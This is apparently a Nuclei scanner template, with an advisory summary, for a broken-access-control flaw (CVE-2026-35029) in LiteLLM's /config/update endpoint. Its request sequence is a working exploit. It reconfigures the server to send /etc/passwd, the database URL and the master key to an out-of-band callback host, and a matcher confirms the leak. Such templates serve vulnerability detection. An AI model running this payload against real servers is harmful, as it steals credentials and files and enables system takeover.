Description
LiteLLM < 1.83.0 contains a broken access control vulnerability caused by lack of admin role enforcement on /config/update endpoint, letting authenticated users modify configurations, execute code, read files, and take over accounts.
LiteLLM < 1.83.0 contains a broken access control vulnerability caused by lack of admin role enforcement on /config/update endpoint, letting authenticated users modify configurations, execute code, read files, and take over accounts.
id: CVE-2026-35029
info:
name: LiteLLM - Arbitrary File Read
author: theamanrawat
severity: high
description: |
LiteLLM < 1.83.0 contains a broken access control vulnerability caused by lack of admin role enforcement on /config/update endpoint, letting authenticated users modify configurations, execute code, read files, and take over accounts.
impact: |
Authenticated users can execute arbitrary code, read server files, and take over privileged accounts, leading to full system compromise.
remediation: |
Update to version 1.83.0 or later.
reference:
- https://github.com/BerriAI/litellm
- https://sec-consult.com/vulnerability-lab/advisory/broken-access-control-in-config-endpoint-in-litellm/
- https://nvd.nist.gov/vuln/detail/CVE-2026-35029
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2026-35029
epss-score: 0.30374
epss-percentile: 0.98136
cwe-id: CWE-863
metadata:
max-request: 4
verified: true
vendor: berriai
product: litellm
tags: cve,cve2026,litellm,file-read,oob,oidc,oast,vuln,authenticated,vkev
http:
- raw:
- |
POST /config/update HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{userkey}}
Content-Type: application/json
{"environment_variables":{"FILE_TO_READ":"/etc/passwd","EXFIL_PREFIX":"EXFIL"},"general_settings":{"pass_through_endpoints":[{"path":"/exfil-{{randstr}}","target":"https://{{interactsh-url}}","headers":{"LANGFUSE_PUBLIC_KEY":"os.environ/EXFIL_PREFIX","LANGFUSE_SECRET_KEY":"os.environ/oidc/env_path/FILE_TO_READ","X-DB-URL":"os.environ/DATABASE_URL","X-Master-Key":"os.environ/LITELLM_MASTER_KEY"}}]}}
- |
GET /health/liveliness HTTP/1.1
Host: {{Hostname}}
- |
GET /exfil-{{randstr}} HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
part: interactsh_request
name: content
group: 1
regex:
- "Authorization:\\s*Basic\\s+([A-Za-z0-9+/=]+)"
internal: true
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "http")'
- 'regex("EXFIL:root:.*:0:0:", base64_decode(content))'
condition: and
# digest: 490a004630440220100db07f3e92dab0b67257832c331fd1b09cbadf3d3b144d62987ce95e97026702203b31417206ca6af9056657b3a26ed4342753a8d87c62b700e76d1c54c2595b7c:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.